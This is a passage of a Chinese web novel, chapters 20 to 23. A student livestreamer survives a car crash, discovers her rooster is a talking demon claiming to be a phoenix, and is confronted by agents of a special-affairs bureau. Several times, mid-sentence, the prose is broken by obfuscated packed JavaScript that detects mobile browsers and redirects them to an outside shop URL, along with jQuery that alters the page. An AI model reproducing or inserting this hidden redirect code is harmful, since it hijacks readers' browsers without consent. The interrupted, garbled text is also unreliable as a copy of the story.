安随想了想:“大概半个多小时了吧。” “你和司机什么关系?你为什么会坐这个车?” 安随:“我不认识他,他是李家村的人找来送我回城里的。” 一旁的镇干部马上打电话联系李家村的人,却被告知无法接通,于是又换了电话打过去,依然无法接通。 不过这段山路信号本来就差,打不通就多打几次。 而民警继续追问:“李家村?他们为什么送你?” 安随:“大概是因为我在这直播?” “你是主播?” “算是吧,不过我主业是学生。” “哪个大学的?” “c大。” 一听c大,几人又看向安随。 民警没再追问了,从安随目前的回答来看,他暂时还没发现什么疑点,唯一的疑点大概就是安随表现得太冷静了,不像一个还未出社会的大学生。 但这并不能证明安随说谎,只要等到李家村的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636129|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来便能证实安她说的是真是假。 大概过了十来分钟,民警和医生两人将司机带了上来,甚至民警手里还提着一只咯咯叫的公鸡。 安随见状这才想起来车上还有只公鸡,刚才忙于求救,都忘了还有它的存在。 这只公鸡一上到公路便开始挣扎,喔喔叫个不停,安随连忙把它拧过来,替它解了脚上的绳子。 这公鸡能从车祸里活下来,也算它命大,她都舍不得宰了,带回去没地方喂,不如就在这里放生。 安随将绳子松开,公鸡没了束缚,开始振翅,振了几下都没飞起来,最后又落回安随身边,收了翅膀,乖乖地窝着。 众人见状都有些称奇,感觉这鸡都快成精了。 安随也不再管它,任凭它待在她身边。 他们也算是共患难的战友了,想待就待吧。 医生在下面已经给司机做了简单的处理,这会儿司机已经被抬上救护车送去了医院。 李家村的人和联村干部也很快赶了过来,他们是被留在镇上值班的人打电话通知这里可能出了车祸,让他们来现场看看。来到现场,见到出车祸的人居然是刚被送走的安随,吓得冷汗都下来了。 安随为他们家乡做了那么大贡献,要是就此交代在这,他们这辈子都无法原谅自己。 特别是李世全,车子是他找的,找的还是走这条山路很有经验的司机,驾龄也有几十年了,谁知道会出这种事? 李凤宁也闻讯赶来,得知有人出了车祸,她推算安随离开的时间,怕是安随出了事,便来看看,见到安随平安无恙地站在那里,这才松了口气。 李凤宁:“白泽,你没事吧?”她一说完,这才看到安随满脸的血,连忙问道,“脸受伤了吗?严不严重啊?”实际心里怕得要死,毕竟主播的脸还是很重要的,要是毁了容,那把她骗过来的李凤宁岂不是成了罪人? 安随闻言,擦了擦脸,这才看到衣袖也被血迹染红了,想了想应该是刚才去查看司机伤势的时候不小心沾上的,连忙说道:“我没事,司机伤得比较重,已经被送去医院了。” “怎么就出车祸了呢?这条路李家明都走了好多回了,闭着眼睛都不会出事。”李世全拍了拍大腿,一脸的懊恼。 安随没说话,毕竟她刚才睡着了,也不知道发生了什么。 李世全一脸歉疚:“白同学对不起哈,人是我给你找的,我也没想到会出这种事。” 安随摆了摆手,示意他别放在心里,毕竟这种事谁也不会料到。 先前的几人见李家村的人赶来,于是和几人了解情况,在得知安随确实是来李家村直播的,心里已经打消了疑虑。 民警让安随出示证件,安随掏出身份证给他,他们这才得知安随的真名,白泽只是她的网名。 现场勘察的警察也来汇报情况:“从目前的情况来看,路面正常,司机驾驶证能正常使用,车子在保险期内,检查了车子也没有异常。” 这才是疑点,所有的都正常,司机又是在这条路上开了几十年车的老司机,却偏偏出了车祸。 “司机有酒驾、毒驾或者疲劳驾驶的可能吗?” “根据行车记录仪的数据,车辆刚行驶不到半个小时,不存在疲劳驾驶的可能。至于酒驾和毒驾,得通过血液检测才能判断。” “好,那请通知医院尽快检测。” 李世全一听,连忙说道:“家明我了解,老实人一个,平常要带人或带东西都请他帮忙,我和他认识几十年了,他绝不可能酒驾毒驾的。” “李主任你别急,这只是正常的程序,我们需要排除所有的可能再来判断其他。” 其他人也跟着劝,李世全才冷静下来。 现在,他们只能等待检测结果出来。 20. 第 20 章 折腾了半天,大伙也累了,安随身上的伤虽然经过包扎,但还是要休养一番,众人便决定先回镇上,因为太晚了,拖车也得明天才能过来,今晚只能让车子在山下待着。 安随跟着他们上了去镇上的车,临走时还把那只公鸡给抱上了,那只公鸡任凭安随抱着,一动不动,看着十分乖巧。 李凤宁看了都觉得神奇:“看来它和你有缘啊,这都没跑。” 安随顺了顺毛,只觉得柔软异常,不像普通的鸡。 “这是什么品种?”安随问。 李凤宁不确定道:“应该就是一只普通的公鸡,不像什么名贵品种,周大孃也没说。” 安随没再说话。 安随透过车窗看向窗外,树木一排排地从身后闪过,安随却觉得有什么东西在树上闪过,她打开窗户往后看,却什么也没看到。 李凤宁问她看什么,她说了自己看到的,李凤宁却不觉得有什么:“大概是松鼠吧,山里树多,其他生物也多,有松鼠很正常。” 但安随觉得不像,因为,她感觉到了一丝危险。 自从和白泽结契后,她对妖怪的感知也更强烈了,那不明生物绝不会是一只普通的松鼠。 但安随并没有表露出来,说出来只会引起恐慌。 甚至,安随有个大胆的猜测,这次车祸也和那东西有关。 安随一路装着心事到了镇上,镇干部给她找了个旅馆让她先住着,并让她先请了天假,在司机醒来之前,她不能离开。 安随表示理解,一离开那个区域,安随的手机便恢复了信号,便和辅导员打了个电话请假,随即又给宋知冉打电话说了一下。 宋知冉听到她出了车祸,十分担心:“我下午看你直播还好好的,怎么晚上就出车祸了?你哪里受伤了?去医院了吗?” 安随连忙安抚道:“我没事,就是擦破了点皮,过两天就好了。” 宋知冉叹了声气,她想说点什么让安随小心的话,最后还是什么也没说。 她知道,安随的身份会让她遇到各种危险的事情,但是她就是不想让安随处于危险中,她想告诉她,退出吧,做一个普普通通的大学生就好了。 但她知道,安随不会安于现状,她有她自己的路要走,作为室友的她,只能默默支持。 两人寒暄之际,蒋栗也回来了,和安随聊了会儿便挂了电话。 安随和李凤宁住的同一间房,见安随打完电话,她这才好奇地凑了过来,和安随有一搭没一搭地聊着。 “原来你叫安随,是c大的学生啊。”李凤宁双手托腮,目光炯炯地看着安随。 “嘘,替我保密。”安随轻声交待,“我不想在网上暴露自己的身份。” “嗯嗯!”李凤宁猛然点头,“我绝不会说的,这个秘密只有我知道最好了。” 安随:“今天晚上他们应该也知道我的身份了。” 李凤宁:“他们又不喜欢上网,我会和李叔他们说,不让他们在网上乱说的。” “那样最好了。”安随倒没指望这个事能瞒一辈子,但能瞒多久就多久吧。 两人又天南地北地聊了会儿天,大多是李凤宁说,安随听。 安随不擅长聊天,但她是一个合格的倾听者,听李凤宁讲述自己在网上想通过直播卖家乡的柚子,但效果甚微。 李凤宁甚至还向安随取经,问她是怎么把流量做起来的。 安随没办法回答这个问题,因为这本身就是个玄学。 李凤宁也就随便问问,也没指望安随能说点什么。能被安随选中,已经是她莫大的荣幸了。 夜色已深,两人洗漱完后便熄灯睡觉。 半夜,一直窝在门口的公鸡却突然睁开了眼,只见它豆子般大小的眼睛四处看了看,最后迈着两只小短腿靠近床,随后跳上了安随的床,找了个舒服的位置,窝在安随旁边又睡了下去。 半夜,安随总觉得有什么东西压着她,搞得她做了一堆乱七八糟的梦。安随被一个噩梦吓醒了,睁开眼便看到有个东西压着自己的被子,仔细看发现竟然是那只公鸡。 一瞬间安随心里只有一个念头,这公鸡没洗澡就爬上了她的床。 安随把它拧了起来,正在睡梦中的公鸡察觉到被人扼住了喉咙,睁开眼便看到安随拧着自己就要往下扔,连忙求饶:“大王饶命!” 得,又是一只来找它大王的妖怪。 安随已经接受了自己身边出现的动物随时都有可能是妖的事实,她认命地下了床,怕吵着李凤宁,便拧着鸡妖去厕所,关上厕所门,这才把鸡妖放下来。 “说吧,你又是从哪里冒出来的?” 鸡妖没了束缚,在原地活动了下翅膀,便开始滔滔不绝起来:“我是跟着大部队逃出来的,结果和大部队走散了,我飞到这片山林里,却迷路了,被一个人类捡了回去,和那群没有思想的低等动物关在一起,问题是,我明明是有思想的,却不得不装成和他们是同类,大王你知道我心里有多苦吗?好不容易感受到你的气息,刚好那人类要捉一只低等动物送你,我便自告奋勇了,大王我聪明吧。在里面我都不敢说话,结果就感觉到那个大东西开始翻滚,把我昨天吃的粮食都吐了出来,好在我福大命大一点事都没有,咯咯咯,我就是最厉害的!大王大王,我是不是第一个找到你的!” 安随有点后悔让它开口说话了。 实在是话太多了,根本就没有让她插嘴的余地。 看到它一副求表扬的样子,安随无情地打碎了它的幻想:“不,你不是。” “哪个贱妖居然比我手脚还快!快说出它的名字,我要和它决斗!”鸡妖在厕所里蹲着步,尾巴上的毛已经翘了起来,已然摆出战斗的姿态。 安随顺了顺它的毛:“乖,别闹。” 鸡妖被她安抚,心里顿时就熨帖了。 它收起尾巴,又窝在安随身边,任凭她顺毛,还十分享受地蹭了蹭。 “真舒服。” 顺了会儿毛,安随便又问起之之前察觉的异样:“你知道这里还有其他妖怪的存在吗?今天这起车祸,你感受到有妖怪参与吗?” 鸡妖享受着安随的安抚,懒洋洋地说道:“那次逃亡,我们有很多妖,我不确定有没有妖和我一样落到那片林子里,今天这起事故我也不确定有没有其他妖怪的参与。” 安随停下了手上的动作。 说了等于没说。 鸡妖见她停了下来,跳起来努力去够安随的手:“大王我还要!” 安随拍了拍它,随后起身准备离开厕所。 “大王我要!”鸡妖在厕所里尖叫,甚至开始打鸣。 “闭嘴!”安随忍无可忍,厕所门关上,任凭鸡妖在厕所里鸣叫也无动于衷。 小镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646574|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的旅馆隔音并不好,安随出了厕所还能听到鸡妖的尖叫声,安随随即打开厕所门,小声警告:“老实在这待着,要是再叫我就把你扔了。” 这句话杀伤力十足,一听安随要把它扔了,鸡妖立马安静下来,缩在马桶旁边,像个鹌鹑。 安随这才满意地关上了厕所门。 总算能睡个好觉了。 清晨,李凤宁是被公鸡的打鸣声叫醒的,此刻,安随已经站在窗前活动身体,她不得不佩服安随的自律,起身以后,还找了个话题和安随聊:“你的这只鸡还真敬业,那么早就开始打鸣了。” 安随早早被鸡妖吵醒,还有起床气,李凤宁的话也不知道怎么接,便没有说话。 李凤宁大概了解安随的性格,也没在意,便去了厕所准备洗漱,一进去便被里面的模样吓了一跳,只见这只公鸡缩在马桶边,旁边便是好几滩鸡屎,一股子臭味冲进鼻子,臭得她连忙捂住了鼻子。 安随赶过来看到里面的状况,拿着扫帚开始扫鸡屎,还不忘解释道:“昨晚我就怕它早上打鸣吵着你,所以把它关到厕所里。” 安随扫到鸡妖旁边,示意它挪挪位置,鸡妖委屈巴巴地往里挪了挪,一脸哀怨地看着安随。 安随无视它的目光,将鸡屎清扫干净,又拿水冲了冲,直到味道没那么重了,又把鸡妖拧到淋浴底下,拿热水给它洗澡。 可怜的鸡妖此刻真成了落汤鸡,一身威风凛凛的毛如今软塌塌地贴在皮肉上,丝毫看不出往日的风光。 “好好洗一洗,身上臭死了。”安随在那自说自话,实际上是说给鸡妖听的。 鸡妖任凭她给它洗澡,还给它毛上抹了沐浴露,等洗完以后,连它自己也能闻到身上香喷喷的。 呜呜呜,大王对它真好,还亲自给它洗澡! 给鸡妖洗完澡后,安随便把它拧了出来,将厕所让给李凤宁。 安随拿出吹风机给鸡妖吹毛发,省得它甩得哪都是水。 鸡妖却被感动得心里都在冒泡。 大王对它太好了!它在大王心里一定是特别的那一个! 吹完毛发后,安随这才和鸡妖说道:“洗干净了不能弄脏,再弄脏你自己洗。” “不要,我就要大王给我洗。”鸡妖靠在安随腿上撒娇,被安随一脚踢开了。 “老实点。”安随受不了它撒娇的样子。 实在是一只公鸡在你面前撒娇,各种矫揉造作,那个画面,简直不忍直视。 鸡妖顿时老实如鹌鹑。 李凤宁洗漱完后,看到鸡妖在安随面前老老实实的,啧啧称奇。安随去洗漱时,她便忍不住去逗弄鸡妖,哪知道这只公鸡还认主,李凤宁一靠近,它便起身站直了身子,双翅展开,已然做出攻击的姿势。 李凤宁见状,也不敢招惹它,总觉她再靠近它就能啄她一口。 安随洗漱完后,两人便一起出了旅馆,李凤宁说带她去吃下这里的特色早餐。 今天赶场,早上的卫国镇很热闹,安随体验了一顿这里的米线,又去早市逛了一圈,十点多的时候,李凤宁接到李世全的电话,说李家明醒了,让两人去医院一趟。 来接两人的汽车很快赶来,因为是在区医院,两人得坐车到区里,不过离得也不远,开车十几分钟就到了。 两人到医院的时候,已经有民警在里面,见两人到了,便示意两人进去。 21. 第 21 章 此时,李家明正靠坐在床头,头上包着纱布,隐隐有血丝浸出。 见安随进来,他一脸歉疚,但他向来不善言谈,也不知道怎么和安随说,看了她一眼便又低下头。 民警问他:“你还记得当时发生什么了吗?” 李家明摇头:“记不清。” “你好好想想,虽然你的血液检测出来没有问题,但为了排查车祸原因,当时车祸的时候发生了什么就很重要。” 李家明车祸碰着了头,一开始回忆便抱着头喊疼,民警见状,只能放弃。 几人出了病房,让李家明好好休息。 安随见问不出什么,有些犹豫要不要提醒他们这附近有可能有妖的事情,但是这种事本就很玄学,说出来恐怕会被人说胡言乱语,何况她自己也没有把握,只是在那胡乱猜测。 这个时候她便开始无比想念白泽,有他在,他怎么也能分清有没有妖怪在那附近。 只可惜白泽还在沉睡,无论她怎么呼唤都没有回音。 安随只请了一天假,见李家明这问不出结果,便有些着急想回,民警便告诉她回去电话保持畅通,随时都有可能给她打电话了解情况。身上还有些伤,让医生看了以后,让她回去按时换药,不要沾水。 安随一一应了。 李凤宁说给她找个车送她回去,安随拒绝了,主要是下午还有直达锦城的大巴车,她坐大巴一样。临走时,安随还是提醒了下李凤宁:“最近你们都提高点警惕,看有没有异常。” 李凤宁不明白她什么意思,只以为她是在关心李家村的村民,十分感动。把安随送上车后,一直目送车子消失在街口才回了李家村。 一人一鸡踏上了回城的旅途。 大巴车要坐两个小时,回到学校刚好可以赶上晚饭。安随并没有拿那些柚子,一是那些柚子还在事故车里生死不知,二是她回去还有很远的路,带回去要费不少功夫,索性便不拿了,只是心疼她买柚子的钱。 李凤宁说回去就给她重新邮寄,安随本来说要给钱的,李凤宁却连连摆手,说她帮李家村卖了那么多柚子,这点柚子根本不算什么,安随便随她去了。 于是回去的路上,安随只带了一只鸡。 乡村大巴带什么上车的都有,车上充斥着各种奇怪的味道,安随坐在靠窗的位置,把窗户打开才好点。 由于牲畜不能带到位置上,她便把公鸡放在大巴车前面堆放东西的地方,让它窝在她能看到的地方,时不时看上两眼,确保它还在。 车辆行了半个小时,宋知冉打电话问她几点能到,她们好去车站接她,安随大概算了下时间,下午五点就能到。 两人又寒暄了会儿,打完电话,安随再次看了眼公鸡所在的位置,这一看,却惊得从座位上起来。 鸡妖不见了! 就在她眼皮子底下! 打电话的时候她看到它还老实地窝在那里的,只几分钟的时间,怎么就不见了? 安随不信邪地走过去看了看,又在附近找了找,确定它并没有躲到哪个地方去。 她便问坐在旁边的大叔,大叔却说刚才有人下车的时候见到他带下去了,还以为是他的。 安随问他:“哪一站?” “就上一站,莲花镇。” “莲花镇有到锦城的大巴吗?” 大叔回答道:“有吧,现在每个镇都通了到市里的大巴,只不过班次少,你问问售票员嘛。” 安随连忙问一旁的售票员,好在售票员对这一带的大巴车次时间都比较熟悉,莲花镇到锦城的大巴车要晚一个小时。安随想着一个小时应该够了,便示意司机停车,只几分钟的时间,车子并没有走好远,想来那人也在附近。 虽然安随嫌弃鸡妖聒噪,但它是白泽的追随者,它又把她当成白泽,她怎么也要把它带回去。 安随下车后便一路往回走,走到站牌那里也没有碰见一个人,但她却看到了鸡妖给她留下的信号,鸡毛。 没错,鸡妖边走边拔自己的毛,只为了给安随留下找到自己的信号。 安随都能想象自己见到一只秃鸡的画面,会有多么不忍直视。 安随沿着鸡妖留下的信号走进了一条小路,到了一处人家时,鸡毛消失了。 安随在外观察了会儿,见里面有人影晃动,还不止一个,便没有轻举妄动,而是打开了直播。 昨天才看到直播的网友没想到安随那么快就开播了,都非常惊喜,一大波礼物奉上后,便不停地刷屏。 “主播总算做个人了!居然那么快就直播了!” “啊啊啊啊我的女神开播了!好惊喜!女神我爱你!” “姐姐姐姐姐姐,我要做姐姐的腿部挂件,走哪跟到哪!” “乖,下次开播前能通个气吗?你这个直播时间也太阳间了吧,好多学生都还在上课。” “今天怎么突然直播了,这个时间点你不是应该在学校上课吗?” “对哦,主播不是从李家村回学校了吗?看这个背景还在野外,你还没回学校吗?” 网友从最开始的惊喜变成了疑问,安随略过那些表白的评论,挑了一些来回答:“今天带你们来这里找鸡。” 沉默。 他们看的这是什么乡村主播吗?还让他们看她抓鸡?这风格转变也太快了吧! “主播你是不是忘了你是个学习主播?” 安随自然没忘,但劳逸结合嘛,正常。 安随:“今天是乡村主题,我们学习久了看看这里的自然风光,给自己换个脑子也挺好。” 网友们默默看着安随一本正经地胡说八道,还不能反驳,毕竟能让安随开播太不容易了,她播啥就看啥。 网友们接受了这个事实,安随这才将手机揣在兜里让他们听个声。 随后安随敲响了院门。 “抱歉,打扰一下,我有只鸡走丢了,你们有见过吗?” 里面的人听到动静走了出来,安随一看那人的长相,便觉得他与这里格格不入。 一米八几的个子,肩宽窄腰,穿着一身黑色劲装,脚上是双黑色皮靴,看着便不像住在这里的人。 “那只鸡是你的?”那人开口问安随,他的声音低沉,语气里带着气势。 安随却并没有被他威慑住,点了点头,不卑不亢道:“是的,它是我带上的车,但就在刚刚不见了,它现在是在你这里吗?如果是的话,请将它归还给我。” 男人看了伸出的手一眼,那是一只正常的女孩的手,并没有发现任何异常。 他收回目光,淡然道:“多少钱?我买了。” “抱歉,我并没有打算卖。” “如果我非要买呢?”男人声音隐隐透着一丝威胁。 安随都快被气笑了,怎么还有强买强卖的? 如果是一般人遇到这种硬茬,多一事不如少一事,何况在这荒郊野岭的,又没有一个帮手,对方明显不止一个人,能卖就卖,早点离开为好。 可惜安随不是一般人,她能听出来里面还有五六个人的声音,加上这个男人,她肯定不是他们的对手。 但安随做不到把鸡妖一个人扔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655670|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这,这群人凶神恶煞,把它扔在这简直是羊入虎口。 只见安随掏出手机:“喂你好,我举报这里有人偷了我的鸡……” 还未说完,手机便被人夺走,安随见到对方抢了自己的手机,也不急,而是慢悠悠道:“怕了?” “你不怕?”男人挑眉,似乎没见到安随胆子那么大,居然直接报警,她都不怕自己在警察来之前就被他们处理掉了吗? “抱歉啊,我刚才在直播,并没有报警,但你的一举一动已经被十万观众看到了。”安随笑眯眯地看着他,成功看到他变了脸色。 男人拿起手机一看,正好对着直播屏幕,直播间还在不停刷屏,说截屏了,已经记住他的脸,并且已经有人报了警。 男人将手机扔回给安随,脸色阴晴不定,一时没有说话,似乎在思考该怎么处理安随。 安随叹了声气:“我也没那么傻,你们人多势众,我怎么可能单枪匹马就闯进来?但为了要回我的鸡,我只能出此下策了。直播间十万网友都看着呢,这会儿警察应该已经在来的路上了,所以你还不打算归还我的鸡吗?” “它不是一只普通的鸡。”男人说道。 弹幕一听都在哈哈哈,鸡不是普通的鸡,难道还能变凤凰?这人为了占有白泽的鸡,也太不要脸了吧? 安随一听却收敛了笑容。 她自然知道这不是一只普通的鸡,但他为什么会知道?而且还想方设法地要把它带走? 安随觉得接下来的内容并不适合直播间的人听,但为了保护自己,她不能离开直播间,于是开始和他周旋。 安随:“它是我的伙伴,自然不是一只普通的鸡。” “我并不是这个意思,它待在你身边对你并没有好处,最好的处理方式就是把它卖给我。” “如果你真想买它,为什么在车上不买,非要我追到你家了你才说买的事?”安随并不惧他,她本就有理在先,加上有十万观众撑腰,自然底气十足。 男人一时语塞,方才他察觉到这只鸡的异常,为了整车人的安全,他便悄声把它带回来准备处理,却忘了和它的主人说了。 这确实是他的失误。 男人自知理亏,歉声道:“抱歉,是我考虑不周,但请相信我,它留在你身边对你并没有好处。” 安随不想和他多掰扯,便道:“我的事不用你管,你只要把它还我就行。” 男人见安随油盐不进,便也没了多少耐心,夺过安随的手机几下就把直播间退了,随后从兜里掏出一张证件出示在安随面前:“特事局办案,请勿妨碍公务。” 特事局?这又是什么? 安随听都没听过,但看对方的操作还挺正规,不像是演的,证件也盖了章,上面写着“华国特殊事务处理局”,看着确实像那么回事。 但她哪里妨碍公务了?她只想要回她的鸡而已。 安随觉得自己和他讲理讲不通,但继续纠缠下去也不会有结果,安随便说道:“这样吧,你和我说说我的这只鸡和你办的案到底有什么关系,我再考虑要不要把它给你。” 男人沉默了下,随后拒绝了:“这是秘密,你不需要知道。” 安随:“……” 心累,不想说话。 和他沟通起来太难了。 安随见对方不肯归还,又不说具体用处,叹了口气。 过了会儿,她才缓过来:“你换个人来和我说,我不想听你说话。” 男人想了想便进了屋。 过了会儿,一个穿着灰色风衣的男人走了出来。 22. 第 22 章 男人带着一副金边眼镜,看着很年轻,笑起来的时候还有两个浅浅的酒窝,一头栗色的卷发,一只手提着鸡妖的翅膀,另外一只手插在兜里,露在外面的手骨节分明,隐隐能看到上面的青筋。 男人走到安随面前,笑眯眯地打招呼:“小妹妹你好啊。” 安随对长得好看又有亲和力的人没有抵抗力,态度也比先前好了点,回应道:“你好啊。” “我叫风眠,你呢?” 安随却不愿意透露自己的信息,而是切入正题:“你们抓了我的鸡是要干什么?” “这是你的鸡吗?”风眠将鸡拧在安随面前,只见鸡妖耸拉着脑袋,看着像是死了。 安随摸了摸它的脖颈,热乎乎的,还能看到起伏。她点了点头:“是的。” “你别担心,它没事,我们也不会吃它。谭岳和你说了吧,我们是特事局的人,特事局是专门处理特殊事件的部门,只要不是正常人能做到的事情,都归我们管。”风眠指了指鸡妖,“它就是我们此行来的目的。” “它做了什么?”安随问。 “昨晚发生在李家村的车祸你听说了吗?我们怀疑它并不是人为,而是被一种神秘力量操控了。” 安随没想到他会突然提到昨晚的事,并且那么快就确定这场车祸不是人为。但她面上不显,而是故作惊讶道:“还有这种事?我以为那就是一场普通车祸。” “昨晚我们检测到那里有能量波动,很符合神秘力量标准,因此一大早就赶了过来,又察觉到那辆公交车有能量波动,这才让人上去把它带了下来,以确保整车人的安全。” 安随指了指他手里的鸡:“你们说的能量波动,不会就是来自它吧。” 风眠点了点头:“对,它的身上有异常能量波动,我们严重怀疑它就是昨晚那场车祸的罪魁祸首。” “你们应该是找错了,它不是你们要找的对象。”安随解释道。 “你为什么那么确定?这只鸡你是从哪来得到的?”风眠问道。 “别人送的。你看它那么蠢,也不像会干坏事的样子啊。” “鸡不可貌相嘛,我们是通过专业检测才确定能量波动来自它。” 安随有些好奇:“你们是通过什么检测出来的啊?” 风眠闻言便又去屋里拿了个检测仪出来,随后在鸡身上扫了一下,伴随着一长串的“滴”声。风眠又在自己身上检测了下,检测仪没有任何动静。 “这个检测仪是我们局里的同事发明的,能检测到异常能量波动,普通人不会有任何反应。”说着,他又拿检测仪在安随身上扫了一下,“你看,你也没有……” “滴————”伴随着一长串的滴声,检测仪发出刺耳的声响,即便风眠将它拿开,也没有停下来,屋内的人听到动静,连忙跑了出来,站在风眠面前排成一排,每个人手上都拿着一个武器,有匕首有利爪,甚至,还有枪。 他们每个人严阵以待,将武器都对准了安随,神情十分严肃。 安随吞了吞口水,下意识地举起手来。 妈呀,这个时候不投降等着被打成筛子啊? “那个,这一定是个误会,我就是个平平无奇的大学生而已。”安随干笑了两声,试图缓解紧张的气氛。 风眠有些不信邪地在其他人身上都测了一下,没有一个人有反应,他又在安随身上测了一下,检测仪发出刺耳的尖叫声,随后冒出青烟,直接报废了。 风眠:“……” 安随:“……” 这下更解释不清了。 “你确定你这个东西质量过关吗?不会买到假冒伪劣产品吧?”安随试图给自己找补。 拿着利爪的瘦小男人冷冷地开口:“那是我发明的,你在质疑我的专业水准?” 安随开始胡扯:“你怎么确定你发明的这个东西一定能检测到异常能量波动?你有什么依据?你们是特事局的人一定都很特殊,说不定它只是对你们没反应,对其他普通人都有反应呢。” “我们测试过很多人,对其他正常人不会有反应,也曾抓到过几只带有能量波动的动物,检测仪对他们都会有反应。”风眠解释道。 瘦小男人不耐烦道:“和她说那么多做什么?直接把她带回特事局找博士研究一下不就知道了?” 安随都快被气笑了:“你的意思是想抓我回去做实验?这是犯法的,我一告一个准。” “非人类只能用非人手段处理,你去告也没用。” 被开除人籍的安随若不是看在对方人多势众还有武器,都想上去干一架。但理智告诉她不能这么做。 安随脑子转得飞快,开始想着脱身的办法。 眼见着他们便要把她五花大绑,风眠还在旁边说“轻点,她细皮嫩肉的”之类的话,安随灵光一闪,连忙道:“你们听我说。昨晚的车祸我是唯一的乘客,车子掉下山崖,司机生死未卜,是我从山下爬上去发出的求救信号,才等来了救援人员,如果我真的有不轨之心,我就不会救司机了。” 风眠闻言看了她一眼,似乎在思考她说话的可信度。另外一个高个男人已经拿出手机拨打了当地派出所的电话,得知昨晚的车祸确实是安随救的司机以后,便将自己知道的告诉了众人。 众人闻言,都沉默了一会儿,望着瘦小男人的眼里充满了怀疑。 瘦小男人名叫陈默,见众人都那么望着他,顿时不乐意了:“你们居然怀疑我的能力?既然这么点信任都没有,那我不干了。”说完一把扯下带有特殊标志的袖标甩在地上,利爪一扔就要走,风眠见状连忙去劝。 安随都看傻眼了,这确定不是一个草台班子吗?也太随意了吧! 谭岳轻咳一声:“抱歉,你能说说昨晚救人的过程吗?我们此次来的目的便是调查昨晚的车祸原因。” 安随见总算有人正常听她说话了,这才把昨晚的经过和他们说了一遍,包括她在车上察觉到的异样,那里应该还有异常能量,他们最好回去看一下。 “你和我们一起回去一趟吧。”谭岳道。 “我还要回去上课,恐怕不能陪你们一起去了。”安随故作遗憾,实际心里巴不得早点离开这里,不和他们有任何瓜葛,她可不想卷入这趟浑水中。 “你是当事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这家是一对夫妻在家,小孩在区里的高中读住校,家里就两口子在家,老人都相继去世,也有很多空出来的房间。这一行四人给了他们五百块,包一晚上再加一顿晚餐。男主人想了想还是答应了,毕竟五百块也不是小数目,他们要卖很多天的菜才能卖到这个价钱。 晚上的时候,女主人做了一桌子丰盛的菜肴,有当地的特色腊肉腊肠,也有鸡鸭鱼肉,还有时令蔬菜,几个大男人狼吞虎咽,根本没有嘴空出来说话。安随见状,还以为是从哪逃出来的难民。 她吃饭就要斯文多了,毕竟是女生,加上这些菜她在学校食堂也经常吃,只是味道更加有农家味而已。 吃完饭后,女主人给安随安排了二楼的房间,几个大男人两人一间,住在一楼。 天色还早,安随带着她的鸡出去溜达。 鸡妖早早就醒了,但碍于那四个男人在,它一直在装晕,直到和安随单独相处才缓了过来。风随已经将鸡妖归还给安随,主要是安随一直坚持,如果不还给她,她就不和他们一起去李家村,风眠见她也没有什么威胁,便答应了。 鸡妖一脱离了掌控,便开始放飞自我,在小路上扑腾了几下翅膀,见确实飞不起来,这才彻底放弃。 “唉,怎么就飞不起来了呢?”鸡妖叹气。 安随忍不住戳它心窝子:“普通鸡都会飞,你不是鸡中的战斗机吗?怎么还不会飞呢?” “我在妖界可是飞得最远的那一个,一定是这里的水土不适合我飞行。”鸡妖给自己找补。 “还有,我可不是鸡妖。” 23. 第 23 章 “那你是什么?”安随有些好奇,它怎么看怎么都是一只公鸡啊,难道妖界的鸡不叫鸡?而叫其他的名字? “悄悄和你说。”鸡妖压低声音,“我是一只凤凰。” 安随上下打量了它一圈,有些不信:“虽然我没见过凤凰,但我猜凤凰并不长你这个样子。” 小凤凰挺了挺胸:“这是我为了融入那群鸡,才变成这个样子的,我的真实样子比这好看多了。” “那你能变回去吗?”安随有些期待,毕竟凤凰这种生物只出现在传说里,她还没见过真实的呢。 小凤凰挺起的胸又缩了回去:“能变,但我怕被人类宰了。” “怎么会?你变成鸡才容易被宰吧?”安随试图劝说它,小凤凰却不为所动,“你觉得是一只凤凰突出还是一群鸡突出啊?我变成一只鸡,不会有人觉得我突出,不会看到我,我要是变成凤凰,肯定有很多人想要得到我,毕竟我只出现在人类的传说里。” “你还挺了解人类嘛。” “毕竟在妖界,没少听人类的故事,人心险恶,不得不防。” “我也是人,你怎么不怕我?”安随问它。 “你不是我的大王吗?你只是披着人类的皮而已,和其他人类不一样。”小凤凰坚持自己的想法。 安随有些心虚,不敢告诉它它的大王只是寄住在自己身体里,实际上的她就是一个普通人类而已。 “对了,你为什么飞不起来啊?”安随开始转移话题。 